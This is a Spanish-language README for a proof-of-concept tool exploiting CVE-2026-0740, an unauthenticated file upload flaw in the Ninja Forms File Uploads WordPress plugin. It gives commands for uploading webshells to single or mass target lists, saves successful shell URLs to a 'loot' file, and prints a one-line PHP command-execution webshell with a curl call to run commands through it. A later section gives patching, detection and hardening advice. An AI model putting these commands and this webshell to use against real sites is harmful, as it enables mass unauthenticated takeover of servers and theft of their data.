
PoC para CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Carga de archivos arbitraria no autenticada que puede conducir a RCE.
Autor: 0xNuts
Colaborador: Cursor
Repositorio: https://github.com/ExDev994/CVE-2026-0740-mass
PoC para CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Subida Arbitraria de Archivos sin Autenticación que puede llevar a RCE.
La vulnerabilidad inicial fue descubierta por Sélim Lanouar (@whattheslime). El PoC del motor de objetivos masivos fue desarrollado por 0xNuts con contribuciones de Cursor.
Este repositorio se proporciona únicamente para fines de investigación de seguridad y defensivos (pentest autorizado, red team con permiso por escrito, validación de parches y hardening).
El plugin Ninja Forms - File Uploads para WordPress es vulnerable a una subida arbitraria de archivos sin autenticación en todas las versiones hasta la 3.3.26 (incluida).
Cadena de explotación:
nf_fu_get_new_nonce con un field_id arbitrario.nf_fu_upload valida la extensión del archivo subido (p. ej., image.jpg), pero el atacante puede sobrescribir el nombre del archivo de destino mediante el parámetro POST (image_jpg).move_uploaded_file() sin la suficiente sanitización → extensión arbitraria + path traversal (../).El parche completo está disponible en la versión 3.3.27+.
Este repositorio solo contiene CVE-2026-0740.py y README.md. Instale las dependencias manualmente:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
Nota: Es obligatorio usar exactamente uno de -t o -f.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
Con path traversal explícito:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
Cree el archivo target.txt:
http://site1.com
https://site2.com
10.0.0.5
# las líneas de comentario se ignoran
Ejecute:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
Con ajuste de workers y archivo loot:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
Las URLs de shell subidas con éxito se escribirán en el archivo loot (modo append).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
Después de una subida exitosa, el script muestra la URL de la shell. Verifique (solo en laboratorio/objetivo autorizado):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Actualice Ninja Forms - File Uploads a la versión 3.3.27 o superior inmediatamente.
Ninja Forms - File UploadsDespués de la actualización:
wp-admin/admin-ajax.php con las acciones nf_fu_get_new_nonce / nf_fu_upload — la subida arbitraria debe ser rechazadaRevise el directorio de subidas de WordPress:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
Busque archivos extraños: .php, .pht, .phtml, .phar, .html, .svg, .js que no deberían estar allí.
Revise también los logs del servidor web en busca de solicitudes a:
/wp-admin/admin-ajax.php
con parámetros action=nf_fu_get_new_nonce o action=nf_fu_upload.
WAF / limitación de tasa en /wp-admin/admin-ajax.php para bloquear el abuso de subidas masivas
Deshabilitar la ejecución de PHP en el directorio wp-content/uploads/ mediante la configuración del servidor web:
Apache (.htaccess en uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Principio de mínimo privilegio: asegúrese de que los permisos de archivos de subida no sean editables por el servidor web fuera de los directorios necesarios
Monitoreo: alerte sobre POST a admin-ajax.php con acciones nf_fu_* desde IPs externas o con alto volumen
Copia de seguridad y respuesta a incidentes: si se encuentran IoC, aísle el sitio, rote credenciales de DB/administrador, audite otros plugins/themes
Desactive y elimine el plugin Ninja Forms - File Uploads si la funcionalidad de subida no es necesaria.
| Vector / Extensión | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASA | - | - | - |
.php | PASA | - | - | - |
.phtml, .phar | PASA | PASA | - | - |
.pht | PASA | PASA | PASA | - |
.html, .svg, .js | PASA | PASA | PASA | - |
| Banderín | Función |
|---|
-t, --target | Objetivo único (URL única) |
-f, --targets-file | Archivo .txt con lista de objetivos (una URL por línea) |
--shell | Archivo payload/webshell a subir (obligatorio) |
-d, --dest | Path traversal de destino (por defecto: ../../../) |
-w, --workers | Número de hilos concurrentes (por defecto: 20) |
-o, --output | Archivo loot para URLs de shell exitosas (por defecto: results.txt) |
-x, --proxy | Proxy HTTP (p. ej., http://127.0.0.1:8080) |
-H, --headers | Cabeceras personalizadas (formato: 'Header: Value') |
--timeout | Timeout HTTP en segundos (por defecto: 10) |